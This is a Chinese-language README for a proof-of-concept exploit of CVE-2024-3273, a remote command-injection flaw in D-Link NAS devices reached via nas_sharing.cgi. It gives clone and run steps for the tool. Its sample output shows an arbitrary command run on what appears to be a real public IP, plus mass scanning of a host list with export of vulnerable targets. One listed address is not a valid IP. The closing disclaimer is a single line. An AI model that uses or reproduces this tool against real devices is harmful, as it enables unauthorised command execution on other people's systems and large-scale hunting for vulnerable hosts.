本仓库包含 CVE-2024-3273 的概念验证(PoC)。CVE-2024-3273 是在 D-Link NAS 设备中发现的一个安全漏洞,该漏洞允许攻击者在易受攻击的设备上执行任意命令。
CVE-2024-3273 是 D-Link NAS 设备中的一个漏洞,允许远程攻击者通过向 cgi-bin/nas_sharing.cgi 端点发送特制 HTTP 请求来执行任意命令。
此 PoC 演示了如何利用该漏洞在易受攻击的 D-Link NAS 设备上执行命令。
requests 库克隆此仓库:
git clone https://github.com/adhikara13/CVE-2024-3273.git
进入仓库目录:
cd CVE-2024-3273
运行 PoC:
python main.py
按照屏幕提示选择目标设备:
host:port,并选择是否将易受攻击的主机导出到 vulnerables.txt。┏┓┓┏┏┓ ┏┓┏┓┏┓┏┓ ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛ ┗━┗┛┗━┗╋ ┗┛┗━ ╹┗┛
Choose an option (1: Single Host, 2: Multiple Hosts): 1
Enter the host: 114.32.179.200
Enter the command to run: ls
Response from 114.32.179.200:
box.cgi
codepage_mgr.cgi
download_mgr.cgi
dropbox.cgi
folder_tree.cgi
┏┓┓┏┏┓ ┏┓┏┓┏┓┏┓ ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛ ┗━┗┛┗━┗╋ ┗┛┗━ ╹┗┛
Choose an option (1: Single Host, 2: Multiple Hosts): 2
Enter the file path containing hosts: list.txt
Export vulnerable host to vulnerables.txt? (y/n): y
Connection error for host 87.205.188.21:9290.
Connection error for host 186.212.112.141:8081.
Host 124.120.263.149:8032 is vulnerable.
此 PoC 仅用于教育和研究目的。请负责任地使用,并且仅在你获得授权测试的设备上使用。
欢迎贡献!如果你发现任何问题或有改进建议,请随时提出问题或创建拉取请求。